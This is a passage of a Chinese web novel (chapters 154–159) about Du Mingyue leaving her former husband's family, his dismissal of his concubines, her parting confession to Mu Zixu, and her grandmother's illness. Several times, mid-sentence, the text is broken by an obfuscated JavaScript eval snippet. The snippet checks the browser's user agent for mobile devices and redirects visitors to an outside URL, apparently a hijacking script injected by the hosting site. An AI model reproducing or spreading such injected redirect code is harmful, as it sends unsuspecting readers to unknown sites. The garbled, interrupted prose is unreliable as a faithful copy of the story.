段骆芙犹豫了一会儿,起身试图劝阻道,“大……不,现在确实不应该叫你大嫂了。但你刚才为救我母亲出钱出力,怎么可能不是发自真心救我们的,你不要说气话好不好?” 杜明月冷眼看了她一眼,发现她比自己想象的还要固执,沉迷于自己想象中的世界无法自拔,果真是无可救药了。 杜明月也懒得再和她多费口舌,转身离开之前还不忘扔下一句,“段老夫人看着精神还不错,应该用不了几日就能恢复了,那入宫陪皇后礼佛应该也没问题了。” 杜明月说着就要转身离开,而她这话像是在平地里扔了一个惊雷,惊得段老夫人和段骆芙直接愣住了。 段老夫人脸色甚至都黑了,她颤抖的伸出手指,喑哑着声音不敢置信的道,“你这话是什么意思?” 然而杜明月根本不理会段老夫人的话,只是一味的抬头继续往前走。 反应过来的段老夫人一脸惊恐,她几乎用尽全身力气拍着床板大声喊道,“你回来!你给我回来。” 然而也只是拍了几下,段老夫人只感觉浑身的骨头都像散架了一般的痛,她倒吸了一口凉气,缓缓的将手抬起来。 她正要和段骆芙说什么,门外突然冲进来了两个侍卫。 段老夫人对这几个侍卫有印象,那日她救段骆霖时,杜明月就是带着穿成这样衣服的人出现在他们面前。 “你想干什么?你们想干什么?”一脸惊恐的段老夫人不顾身体的疼痛,一直往床角缩过去。 在她到那两个侍卫向自己伸出手时,更是吓得浑身颤抖,犹如见了耗子的猫一般瑟瑟发抖。 “你们不要碰我,放开我!”当那两个侍卫抓住段老夫人的手时,段老夫人声音尖利的大声喊着,但她的挣扎和反抗没有任何效果,轻而易举的就被两个侍卫从床上拖了下来。 那两个侍卫面无表情的架着段老夫人往外走,段骆芙一脸惊恐的冲上去阻拦,直到现在她才终于感受到了杜明月曾经说过的那些话,到底有多么可怕。 原来杜明月真的没有和他们开玩笑,只是她自己抱着不切实际的幻想。 现在幻想终于破灭了,段骆芙心里也明白了,杜明月是真的怨恨他们,绝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244478|181961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对不会原谅他们。 眼下的情形也不允许段骆芙更多的思考这件事,她拦在两个侍卫面前,甚至直接跪了下来,试图伸开双臂阻挡。 “你们不要抓我的母亲,你们要抓就抓我,我愿意跟你们回东宫交差,我也愿意去东宫受罚。”段骆芙泪流满面,突然大喊道,“去东宫受过,这本来就是我该遭受的。” 走在前头不远处的杜明月听到这话,脚步突然一顿。 她转过头去,就看到段骆芙抬头向她看过来,并朝自己大喊着,“让我去东宫,好不好?段府如今有这样的下场,起因都是因为我。” 杜明月微微眯了眯眸子,段骆芙还在朝着她大喊,“如果当时是我入宫受过,也不会发生后面这么多的事情。” 段骆芙情绪激动大声喊着,“我才是真正的罪人,我入东宫受过是罪有应得,我绝不埋怨任何人,所以求你和皇后说说情,让我去替我母亲,好不好?” 杜明月脸色淡淡的道,“这是董皇后的意思,不是我的意思。这人若能随便换,你将董皇后的颜面置于何地。” 随后杜明月也懒得和她纠缠,直接给了那几个侍卫一个眼色,那几个侍卫立马拖着几乎已经晕死过去的段老夫人继续往外走。 就在他们几人要走出院子时,段骆岐面色沉重,脚步匆匆的走了进来,一看到眼前这场景,又一下子顿住了脚步,愣住了。 段骆岐呆愣在原地,还没有反应过来,段骆芙已经冲了过来拉着他的手臂道,“大哥,你快求求他们,让他们放了母亲,母亲不能进宫陪皇后礼佛。” “母亲重伤,好不容易捡回一条命。要是这么进攻恐怕就回不来了,大哥,你快拦下他们!” 段骆芙哭喊的声音听着让人有些心烦,十分的刺耳。段骆芙微微蹙眉,像是没有听到他说什么一般,将她的手拉了下来。 段骆岐对段骆芙的话,置若罔闻,却认真的看向了杜明月。 第一百五十四章 不会再回来了 “我亲自去拜访了我的外祖父,外祖母。”段骆岐一想到自己都从他们那里听到了些什么事实,便不自觉的攥紧了双手,暗暗咬牙。 段骆岐面如死灰,眼神中还带着仇恨的模样,让一旁的段骆芙愣住了。 她心里也知道,段骆岐打听到的事情,肯定和自己的母亲有关,而且绝不是什么好事,因此她吓得大气都不敢出一声。 杜明月不出声,示意他可以继续说下去。 段骆岐内心沉痛的开口道,“他们得知我已经知晓真相,十分震惊。见事已至此,纸包不住火才终于将实情告诉了我。” 段骆岐深深叹了一口气继续道,“当年他们得知真相,也曾想去报官揭发,但她……” 他说着往段老夫人那里看了一眼,继续道,“用我作为威胁和交换,答应他们会好好养我长大。我外公和外祖母不忍心我小小年纪,承受丧母之痛,无依无靠的长大,于是只能答应了她的条件。” 此时受到惊吓,却又缓缓转醒的段老夫人听到这话,忍不住冷笑了一声。 “他们还是什么都说了,从小到大他们眼中从未有过我这个女儿。”段老夫人脸上一副悲戚的模样,独自难过,顾影自怜,却从不反思她自己究竟做过什么。 段老夫人像是突然又想起了什么一样,抬头问段骆岐道,“那他们让你怎么处置我?” 段骆岐对上段老夫人的那双眸子,眼底又有怒火窜上来,但他还是克制住了。 他几乎咬牙切齿的说道,“他们说把你的命交给我,要杀,要留都由我决定。” 段老夫人闻言愣了片刻后却又突然笑了。 “我知道你杀不了我,对不对?虽然你现在恨我,但一想到我养了你这么多年,你还是下不去手,对吧?” 段老夫人又是一声冷笑,“你如果能下得去手,救霖儿那天你就会毫不犹豫的杀了我,但你没有。” “你!”段骆岐气急但又无法反驳。 说实话,他在来的路上已经认真想过,一想到是段老夫人害**自己的亲生母亲,他就恨不得直接杀死她。 但她又确实养育了自己这么多年,填补了母亲的空缺,让他能身心健康的长大,他不是没有一丝感情的禽兽和白眼狼,所以无论如何也无法亲自下手杀死她。 段骆岐的沉默已经将答案说的很明白了,杜明月也看懂了,其实这个答案,她早就知道了,她之所以会留下来听一下,不过是好奇岑家会答应做交易的原因。 不过这大太阳底下果然没有新鲜事,最终的事实和她之前猜想过的也相差无几。 已经成功复仇的杜明月突然觉得索然无味,再也不想待在段府这个地方了,也不想看到段府的任何一个人,于是转身就要走。 此时正在一旁突然反应过来的段骆芙立马上前,拉住了段骆岐的袖子。 她十分着急的大喊道,“大哥,不能让大嫂就这么走了,不然母亲真的会被送进宫里陪皇后礼佛的,母亲会死的,你快求求大嫂。” 杜明月不悦的皱眉,但已经没有了,想继续纠正她的想法。 杜明月像是生怕段骆岐还要拦着自己说废话,干脆直接开门见山道,“说起来,皇后让段老夫人进宫陪她礼佛,也有你段骆岐的功劳。” “如果当初不是你在太子去世后立马反水,替太子的死对头做事,皇后也不会这么恨你们段家。所以你们若是真的不想断老夫人入宫,你们就直接去求皇后,但皇后要你们是生是死我就不知道了。” 杜明月想了想又补充了一句道,“还有以后我和你们段家井水不犯河水,从此再没有半点儿关系了。希望你们都要记住这一点,不要再来烦我。” “明月!”此刻段骆岐的脸上真的有些着急了,他慌忙出声道,“等等。你放心,这一次我不会为难你。也不会拦着这些侍卫带她入宫。” 段骆岐说着还往段老夫人那边看了一眼,他心里甚至恶毒的想着,既然他下不去手,杀了段老夫人,又痛恨到想要她**,那让她进宫陪皇后礼佛也是一个不错的选择。 因为他心里很清楚,段老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244479|181961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫人只要入了宫,等待她的不是真的要陪皇后礼佛,真正迎接她的是来自皇后层出不穷的折磨。 想到这里,段骆岐突然想起了杜明月在宫中受折磨的那段日子,心中悲痛万分,又痛苦万分。 直到他知道了亲生母亲去世的真相时,他才明白这世上真正对他好的只有两个人。 一个是他的亲生母亲,另一个是当初喜欢自己的杜明月,但可笑的是这两个人他都留不住。 自己的母亲是在自己很小的时候离世的,这他改变不了,但杜明月却是他自己亲手弄丢的。 而他竟然在此时才后知后觉的发现,他已经真的爱上杜明月了,在他的心里已经没有了柳楹莹的位置,他的心里只有杜明月,可杜明月却要离他而去了。 他声音颤抖的开口道,“明月,我是真的爱上你了,你能不能不要走?我知道我自己过去错的有多么离谱,你能不能给我一个机会让我补偿你?” 段骆岐期待着杜明月还能像以前一样心软原谅他,但这一次的杜明月却根本连看都不看他,甚至没有任何答复的转身就要走。 面对杜明月的决绝,段骆岐的双手无力的垂下,他知道这一次杜明月是真的要离开他,再也不回来了。 杜明月一路脚步不停的朝着段府的大门走去,她正要踏出门槛时,身后却传来了段骆霖的声音,以及一众人脚步匆匆出现的声音。 “我一定会考上状元给你看的。” 杜明月还没有回头,身后就传来了段骆霖的声音,她只是脚步顿了顿,却不再回头,而是更加快了步伐离开了段府。 红豆扶着她上了马车,马车载着杜明月等人,飞快的驶离了段府。 站在大门口处的段骆岐、段骆霖还有段骆芙,都是一脸的沮丧和难过。 段骆岐在他身后暗暗攥紧了手,发誓他一定会重新让杜明月回到自己身边。 就在他望着杜明月乘坐的马车越来越远时,却没有注意到身旁的段骆岐看着那辆离去的马车,眼神中也变得越来越清晰和坚定。 第一百五十五章 准备回江南 京城私宅,杜明月神色轻松的踏进了大门,身后的红豆也是一脸的开心。 两人进屋以后,杜明月继续收拾自己的细软,红豆见状,有些疑惑的问道,“主子,咱们已经回自己的宅子了,为什么要把这些东西收起来啊?” 杜明月闻言,手中的动作微微一顿,思索了很久,终于开口道,“我打算回江南去,我不喜欢这里,我想回去找我外祖母。” “啊?”红豆一愣,这是她从未想过的事情。 杜明月见她如此,以为是习惯了京城的环境,不喜欢江南,想了想有些犹豫的开口道,“你不想跟我一起去吗?你要是真的不愿意,我可以让你回去慕公子那边。” “啊?”红豆反应更大了,满脸都是疑惑和不可置信,“主子,你不喜欢红豆了,要赶红豆走吗?” 杜明月闻言,急忙摇头道,“不是这个意思,只是你一开始就是慕公子的人,只是为了保护我,才来到我身边的,现在我已经没事了,而且我执意要回江南,你不想去,我可以放你自由。” 杜明月眼中虽也有不舍,但说得十分认真,毕竟红豆来到她的身边,本来就是她意料之外的事,而且打从心底里也从未真的将她当作丫鬟来看。 现在她已经成功和离,红豆想走,她也没有道理强留着她不让走。 杜明月正想着,就被红豆气乎乎的声音拉回了现实。 “主子这是什么意思,难道在主子眼里,红豆难道是一件物件吗,想随便送给谁就送给谁!” 红豆一脸认真的道,“我哪里都不去!主子去哪里,我就去哪里,主子要回江南,我就去江南!” 杜明月听了这话,微微一愣,立马开心的笑道,“没有,没有,我不是这个意思。” 红豆见她笑了,心里松了一口气,但脸上却更加生气了。 “哼!算了,主子既然不想要我了,让我回去就回去吧,我现在就走。”红豆气鼓鼓的说着。 红豆立马逗她道,“谁说不要你了,我现在可只有你了,你走了我怎么办,不许走…” 红豆听到这话才终于高兴了,像是突然又想起了什么,认真问道,“主子,那回了江南以后,还回来吗?” 杜明月闻言,忍不住微微蹙起了眉头,其实她也还没有想好以后的事情,但现在确实很想回江南,想回去看看外祖母,多在她身边陪一陪。 “不知道。”思索了半晌,杜明月终于开了口,红豆听了,犹豫着问道,“那主子离开前,不去和公子道个别吗?” 红豆说的很认真,杜明月一下子愣住了,她莫名的感觉心中一阵钝痛。 说实话,这一点她不是没有想过,只是她去见了,谢过了以后呢,又该如何。 杜明月也知道,自己好像不该对她和慕子叙之间的感情有任何过分的期待,可不知道为什么,只要她想起慕子叙和宇阳公主的事情,心里就闷闷的有点不舒服。 沉默了许久以后,杜明月开口道,“真的出发之前还是要去见一见的。毕竟慕公子确实帮了我许多。我不能连个招呼都不打就直接离开。” 红豆若有所思的眨了眨眼,见杜明月好像兴致缺缺,不太高兴的样子,她也就不说话了。 杜明月才将自己那些准备带走的行李收拾好,边有一个侍卫从外头走了进来。 他的手里还拿着一封信,杜明月立马就明白了,一定是董皇后派人来送信了。 事实也确实如此。 杜明月将信件打开,看到是董皇后的亲笔书信。 信上说,董皇后对自己做的事情非常满意,而且她如今已不再是段家的人,又乖乖为她所用,董皇后日后不会再为难她,可以放她自由,两人之间的过节也从此两清。 杜明月看着这封信,心里一块大石头终于彻底落地了,她和董皇后之间的事情也总算结束了。 毕竟她们之间只有董皇后能说两清这种话,只要董皇后不肯放过她,她即便心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244480|181961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里有再多的怨恨,碍于权势地位,她也不能把董皇后怎么样,只能一直受制于人。 杜明月开心的将信件贴在自己心口,看着红豆兴奋道,“太好了,我们终于真的自由了,以后山高水长,我们去哪里都行,再没有任何的限制。” 红豆也被杜明月开心的情绪所感染,甚至立马询问道,“主子江南都有什么好玩儿的,我还从来都没有去过,我听说江南水乡多娇柔女子,她们会都和主子一样好看吗?” 杜明月被她的话逗笑,眨了眨眼道,“那你到时候跟我回去可得好好看一看了。” 主仆二人心情愉悦的玩笑了几句,杜明月便带着红豆去京城最繁华的酒楼好好吃一顿。 在她们把酒言欢,品尝珍馐美味时,却不知道此刻的段府依然是一片鸡飞狗跳,人仰马翻的混乱模样。 自杜明月从段府离开后,听到消息的春红和柳姨娘立马都开心的去找段骆岐。 段骆岐此刻还在段老夫人空荡荡的屋里坐着,看一下那张已经空了的床铺,神色有些迷茫。 他身边站着的,是一脸无可奈何,又满是担忧的段骆芙。 春红自从听说府里出事,段老夫人差点没命,就一直害怕的缩在自己的屋子里不敢出来。 而她通过丫鬟打听后得知,段老夫人已经活了下来,杜明月又拿到和离书离开了段府,立马觉得自己的好日子马上就要来了。 于是她十分招摇的穿红带绿的就来看望段老夫人,还想借此机会在段骆岐面前表现自己。 但是让她没想到的是,她来了以后看到的不是段老夫人,而呆坐在屋里的段骆岐。 她在门口随手抓了一个丫鬟,才从她口中得知段老夫人竟然董皇后的侍卫带进攻去了。 春红不明白到底发生了什么事情,下意识惊慌失措的冲进了屋里,她冲过去跪在段骆岐的面前,一脸恐惧的问道,“侯爷,到底发生什么事了?皇后为什么要将老妇人带走?” 第一百五十六章 遣散妾室 缓缓回过神来的段骆岐,目光淡淡的,没有任何感情的扫过春红,他的脑海中突然闪现过杜明月质问自己的画面。 他对眼前的春红没有任何感情,甚至可以说的上是厌恶,但即便如此,他还是为了故意气杜明月,而将春红收了房。 段骆岐一想到自己过去做的蠢事,恨不得狠狠的扇自己两巴掌。 他对杜明月做过这些事,竟然还奢求杜明月原谅自己,给自己重新来过的机会。 段骆岐冷笑,他没想到自己直到真正失去杜明月的这一刻,才真正看懂了自己的心。 如果他一开始就一心一意的爱着杜明月,那杜明月还会和以前一样,眼里心里只有自己,不管发生什么样的事情,都不会离开自己,会陪在自己身边。 可是现在这一切都被他毁了,段骆岐悔不当初,突然发狂的笑了起来。 段骆岐突然癫狂的模样吓到了春红,她一脸受惊的缩回手,不解的看向一旁的段骆芙。 段骆芙只是脸色很难看,却并不开口说一句话。 过了许久,段骆岐才终于冷静了下来,看着春红一字一顿的认真说道,“从现在起,你不再是段府的春姨娘,你若愿意,我便给你身契放你自由。” “若你不愿意,我便将你的身契卖给人牙子。”段骆岐冷冰冰的开口,说出来的话几乎能将人冻死,“总之段府再容不下你。” 听到这话的春红整个人完全呆愣住,跌坐在地上,她不敢置信的看着段骆岐,觉得她现在看起来不太正常,但他说出来的话又意外的可信。 春红万万没有想到,她好不容易才等到杜明月离府,就在她以为自己有机会被扶正时,等待她的竟然是这样一个让人震惊和绝望的笑意。 “不走吗?”段骆岐对春红没有一丝一毫的耐心,见他不说话,立马准备叫来管家将他打发卖出去,“管家,如把春红的身契拿来。” “不,不用!”春红吓得立马从地上爬起来,她心里明白,她现在离开还有一条活路,如果她再纠缠下去,恐怕会落得个十分凄惨的下场。 “侯爷,我愿意走,我马上走,我现在就收拾东西离开。”春红的话音落下,外头的管家正好迈进了门槛。 段骆岐点头,对管家道,“看着她收拾东西离开这里,等她出了门,你便将她的身契还给她。” 已经知晓府中巨变的管家也同样愁眉苦脸,听了段骆岐的话,还是恭恭敬敬的点头答应了。 就在春红刚刚迈出门槛离开,迎面柳姨娘带着两个孩子正要进来,看到春红哭丧着一张脸出来,唇角便忍不住微微的上扬。 柳楹莹也听说了杜明月和离离府的消息,因此这才巴巴的领着两个孩子过来,想要试图讨好段骆岐,但却没想到会意外碰上同样有想法,出现在这里的春红。 春红看着他们眼神复杂,但还是忍不住开口冷嘲热讽的一句道,“你也别得意,估计你的下场比我的好不了多少。” 柳楹莹此时心中正得意,根本不相信春红的话,她心中下意识的就觉得自己和春红不一样,毕竟春红没有所出,而她不一样,可是给段骆岐生过两个孩子的,所以无论如何段骆岐一定不会抛下他们。 抱着这样的想法,柳楹莹十分开心自信的踏进了屋里。 她一想到,这府里没了杜明月,也没有了春红,那就意味着,她真正变成了这府里的女主人。 她还有两个孩子傍身,因此柳楹莹相信这未来侯府夫人的位置,一定会是她的。 但让她没想到的是,她一进屋没有开口,段骆岐就忍不住看着自己的两个孩子叹了口气,眼神中满是感叹,却没有任何的喜欢和开心。 或许是女人的直觉,柳楹莹心里突然就变得焦躁不安了起来。 她下意识的将两个孩子护在自己的身侧,抬头看向段骆岐,试探着开了口。 “侯爷,您还好吗?我听说了老夫人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244481|181961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事情,我相信老夫人吉人自有天相,她一定不会有事的。” 柳楹莹说着自以为很体贴的话,但完全不知道段老夫人身世秘密的她,也同样不知道自己此刻说的这些话,反而正踩中了段骆岐的雷区。 段骆岐皱着眉头打量柳楹莹,心底突然后悔了起来,原来柳楹莹也并不是真的善解人意,很多事情她并不知道真相,但却总能说出这些看似安慰人,实则没有任何意义的话来。 段骆岐突然苦笑的勾了勾唇,此刻他才意识到自己以前是多么的愚蠢,放着真正贴心,理解自己的杜明月不要,却偏偏认为柳楹莹才是最合自己心意的。 而且他一想到,柳楹莹那么对自己,一开始就是有老夫人授意的,心里更加厌恶柳楹莹,现在心中只剩下对她的厌恶和不满。 他叹了一口气,突然道,“我给你们母子三人安排了庄子,从此以后你们去庄子上生活吧。以后永远不要踏进段府,我们也永生不会再见。” 段骆岐冰冷的开口,那些话语像是坚冰一般,直接加柳楹莹的心给冻住了。 她甚至怀疑自己的耳朵,不敢置信的看着段骆岐道,“什,什么?侯爷,你这是什么意思?是打算抛弃我们娘仨,让我们自生自灭吗?” 段骆岐不耐烦的皱眉,“你放心,我还没有冷血无情到那种地步。只要你们在庄子上安分守己,我是绝对不会断了你们的银钱,我会保你们衣食无忧一辈子,只要你们永远别出现在我面前。” 段骆岐说完又恶狠狠的补充了一句,“如果你们非要和我对着干,就要做好饿死街头的准备。” 他的话让柳楹莹不敢置信的红了眼,她素来将自己的眼泪作为武器,此刻也不例外,立马忍不住呜咽的哭了起来,做出一副梨花带雨,惹人心疼的模样。 但她没想到的是,段骆岐经过这次的打击,不会再轻易被蒙骗,同时因为看清了自己的内心,更不会因为柳楹莹装可怜而有所动摇。 第一百五十七章临行一别 “来人!”段骆岐冷冷的声音响起,立马有几个家丁出现,要来拉扯柳楹莹和两个孩子。 柳楹莹没想到,往日与自己温情款款的段骆岐怎么会突然变脸成这副样子,她死死的抓着柱子和两个孩子,不肯离开。 她歇斯底里的大喊道,“侯爷,你到底为什么突然这么对我们?” 柳楹莹发自内心的失望和恐惧,她不知道自己做错了什么。 “你当初答应过我,以后总有一天要休了杜明月将我扶正,可是现在杜明月已经走了,你为什么这么对我?” 柳楹莹不提起当初的事情还好,她一开口,段骆岐的愤怒立马被点燃。 “你是真的不知道为什么吗?”段骆岐冲到她面前,咬牙切齿的道,“当初国丧,你在老夫人的授意下,就敢诱惑我,如果不是因为你,我现在也不会一直赋闲在家,被圣上厌弃。” “老夫人想毁了我,就撺掇你来绊住我的脚,你一个大家闺秀,难道连这点道理都不懂?”段骆岐一想到自己还为了柳楹莹,曾经让杜明月堕过胎,心中的悔意更是要将他淹没。 此时愤怒的段骆岐甚至已经开始有点口不择言了,“你知道吗,你永远做不了正室,你生的这两个孩子也会永远都是野种,见不得光的野种!” 柳楹莹一愣,虽说她当初确实有私心,借助了段老夫人的帮助,但她对段骆岐的真心可是日月可见,她万万没想到,段骆岐竟然发起狠来,会将自己的真心也一并否决。 柳楹莹绝望的看着段骆岐,难道两人之间的爱意,也完全烟消云散了吗,到底是从什么时候开始,两人之间开始出现裂痕的,是从她出现在京城以后吗? 她一想到自己是被杜明月算计来到的京城,心中的恨意陡然升起。 为什么杜明月在府里时霸占着侯夫人的位置,她走了,自己却依然得不到这个位置。 柳楹莹这么一想心里难免就有些失衡,眼看着她和段骆岐之间关系恶化,段骆芙急忙站出来劝阻。 她将柳楹莹拉到一边道,“柳姨娘,你先别急。你知道的,我大哥他最近经历了太多。你也要给他一定的喘息哦空间和时间。” 段骆芙小声道,“柳姨娘,你就听我的。你放心,到时候我大哥想通了,我自然会去通知你。” 柳楹莹听着这话有些没底,她抬头看向一只黑脸的段骆岐,始终猜不透他现在的想法。 犹豫沉默了半晌,柳楹莹最终还是决定识时务者为俊杰,她答应先离开段府去庄子上生活。 段骆芙闻言,急忙对府里的丫鬟小厮们吩咐道,“快,快去收拾。” 柳楹莹离开前,再次回头深深看了段骆岐一眼,可是他当真没有再看一眼自己,那种决然让她的寒意几乎能从脚底升起,蔓延至全身,感觉四肢百骸都要被冻住了。 终于将柳楹莹母子三人,和春红全部遣散打发了,段骆岐意外发现自己心中竟然轻松了一些,他多么希望这时杜明月能够回来,看看他兑现了自己的承诺。 段骆岐在心中暗暗下定决心,他一定要悔过自新,从头开始,无论如何都要将杜明月重新追回来。 而段骆岐不知道的是,此时的杜明月已经下定决心要离开京城,永远不再回来。 离开京城的日子就定在了三日后,在这之前杜明月不得不正视自己的感情,决定还是要去见一见慕子叙的,有些话她想说开,不留遗憾的离开。 当杜明月站在熟悉的茶楼,不知为何她的心里十分的沮丧和低落,这些天她想了很多,终于认清了自己的内心,所以她这次来,也是抱着再也不见的决心,打算说出心中的那些话。 杜明月推开房门时,慕子叙正面带笑意如沐春风的坐在他常坐的位置上。 他一见杜明月来,立马开心起身相迎,甚至丝毫不避嫌的替她拉开了椅子。 杜明月神色复杂的看着他,等到他在对面落座之后,才缓缓的开口。 “恭喜你 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慕子叙缓缓低下头,眼眸变得暗淡无光。 果然,杜明月是受了情伤才决定离开京城,回江南自己家的吧? 慕子叙正低头失落的想着,耳边突然传来了杜明月的声音,很轻很柔,但像小猫爪子一样挠的他心里难受。 慕子叙急忙抬头,这才听到杜明月正看着自己一字一句十分清晰的问道,“慕公子,我不想误会你,在临行之前,我想冒昧的问一句,你真的是宇阳公主的面首吗?” 慕子叙一愣,他的脑海里想过千万句杜明月可能会对自己说的话,但没想到他会突然这么问自己。 当然不是。 慕子叙想要坚定的给她答案,又因为时机不对,只能缄口不谈。 他的沉默,果然成功伤到了杜明月,杜明月突然释然一笑,低下头,一抹苦笑浮现上脸。 第一百五十八章 外祖母生病 “说实话,当我第一次得知慕公子真的是宇阳公主的面首,我很震惊,我无法想象。慕公子你这样一个谪仙般的竟然是这样的。” 杜明月低头认真道,“但我要纠正一点,我并不是因为你的这个身份而看不起你。这几天我才终于想明白了,我为什么会有那样的感觉。” 杜明月的话一顿,对面的慕子叙紧张的瞪大的眼睛,心跳如雷鼓,其实他已经猜到了什么,但是也不敢擅自确认,如果杜明月能亲口说出来,那他也愿意为了她勇敢一次。 “我……”杜明月微微一顿,像是下定了某种巨大的决心,继续开口道,“我难过是因为你是宇阳公主的人。已经名草有主,别人再沾染不了半分。” 杜明月微微叹了一口气道,“我只不过和你相处了一段时间,竟然动了妄念,想要一直和你这么亲近下去。” 杜明月的眼眶微红,“直到宇阳公主那天的出现,我才猛的惊醒,我竟不知从何时开始变得如此贪心。正如那日我同宇阳公主说过的话,你若真是她的人,我是绝对不会沾染分毫的。” 她的话让慕子叙完全愣住了,双眼顿时闪着幸福的光芒,炯炯有神的一直盯着杜明月,好像怎么看也看不够一样。 杜明月被慕子叙盯的有些心虚,立马又低下头道,“因为我已经不打算再回京城。所以离开前我还是想将这些话与你说清楚。” “这些话或许对你造成了困扰,但你等我离开以后完全忘记就可以了。”杜明月认真的道,“你放心,等我回到了江南,我也会将这里发生过的一切都忘记,重新好好开始生活。绝不会给你添任何麻烦。” 内心正如天女散花般兴奋的慕子叙听到这话一愣,还没来得及挽留她,杜明月已经飞速的起身,拉开了房间大门,直接走了出去。 慕子叙想追,但想了想又停下脚步。 他没想到惊喜竟然会突然落在自己身上,今日杜明月如此大胆表白,他不能再错失这一次的机会。 他心中暗下决定要将一切行动计划提前,让他这边的事情告一段落,他便立马去江南寻找杜明月。 他想和杜明月成为一对长长久久的神仙伴侣,而且有了今日杜明月的态度,他相信这一天不会离自己太久的。 慕子叙目光温柔的透过窗户看向楼下,唇角微微勾起,眼神温柔,直到杜明月的身影完全消失在人群中,他这才将目光收了回来,眼神顿时变得伶俐而冰冷。 他语气冷冷的道,“出来吧!” 他话音落下,宇阳公主便推开隔间的门走了进来。 “杜明月刚才说的话我都已经听见了,你万万不可为了儿女私情,将未完的大业直接抛弃。” 宇阳公主还没有说,慕子叙便冷冷的打断了。 “我当初救你时,你是怎么答应我的?”慕子叙眉眼冷冷的看向宇阳公主,“你要是不记得了,我可以帮你重复一遍。” 宇阳公主神色一愣,眼底闪过一抹委屈和不甘。 “没有,我没有忘记。”宇阳公主认真道,“你答应帮我报仇,这些年我也一直听命于你,为你做事。但我就在你身边,你为什么从不肯回头看看我?” 宇阳公主眼神悲伤,慕子叙淡淡的道,“喜欢这种事情是没有任何道理的,也不讲究先来后到,只讲究命中注定。” 慕子叙回头看向杜明月离开的方向,眼神温柔了下来,“我对杜明月便是如此,一眼定情,这些年从没有忘记过。” 宇阳公主听了这话,忍不住红了眼眶,她一脸不甘心的道,“可为什么偏偏是她?她是有钱,但也不过是一个商户女,我到底哪里比不上她?” 慕子叙见她如此固执,忍不住微微蹙眉道,“按当初说好的,你现在越界了,你若执迷不悟,从现在开始你不必再来找我了。接下来的事情我会一个人完成。” “但你放心,凡是牵涉进了我父亲当年案子的人,我都会还他们一个公道。”慕子叙眼神冰冷的道,“你可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“外祖母,你到底怎么了?”杜明月不顾外祖母的反对,不由分说的将她的帕子扯到了自己手里。 当看到帕子上的血迹时,杜明月整个人都呆愣住了,不敢置信的抬头,眼神里满是悲戚和不能接受。 第一百五十九章 你的身世 “外祖母......”她声音哽咽,喉咙像是被什么堵住,半天说不出完整的话。 帕子上的暗红血迹像烧红的烙铁,烫得杜明月指尖发颤。她眼眶里的泪珠簌簌往下掉,砸在手背上洇出一小片水渍。 老夫人看着她通红的眼眶,终是叹了口气,枯瘦的手抚上她发顶:“傻孩子,哭什么。人活一辈子,谁还没个三灾六病的。” “可这不是普通的病!”杜明月攥紧帕子,指节泛白,“您到底瞒了我多久?为什么不早告诉我呢?” 怪不得回来的这些日子,她总觉得外祖母消瘦了。 偶尔也会听见外祖母压抑的咳嗽声,但每次问起时外祖母总用**病的借口进行搪塞,后来更像是刻意控制,很少在自己面前咳嗽了。 一想起这些,杜明月心口像是被钝器反复捶打,又酸又疼。 她太不应该了,回来这么久,竟然没有发现外祖母的半点异常。 老夫人被她问得沉默,过了半晌才缓缓道:“去年入秋就有些苗头了,但咱们杜家有钱有药,想着总能治好,熬熬或许就过去了,所以才一直没说......” “熬?”杜明月急得直跺脚,“这怎么能熬!这病不是神医都很难治,外祖母如果早点同我说,我哪怕散尽家财,遍访天下名医,也一定会请到神医给你诊治的!” “我先找个大夫来问问什么情况。”说着,她转身就要往外跑,却被外祖母死死拉住。 杜明月一愣,发现外祖母此刻爆发出来的力气大得惊人,眼神里带着从未有过的固执,“别去了,月儿。” 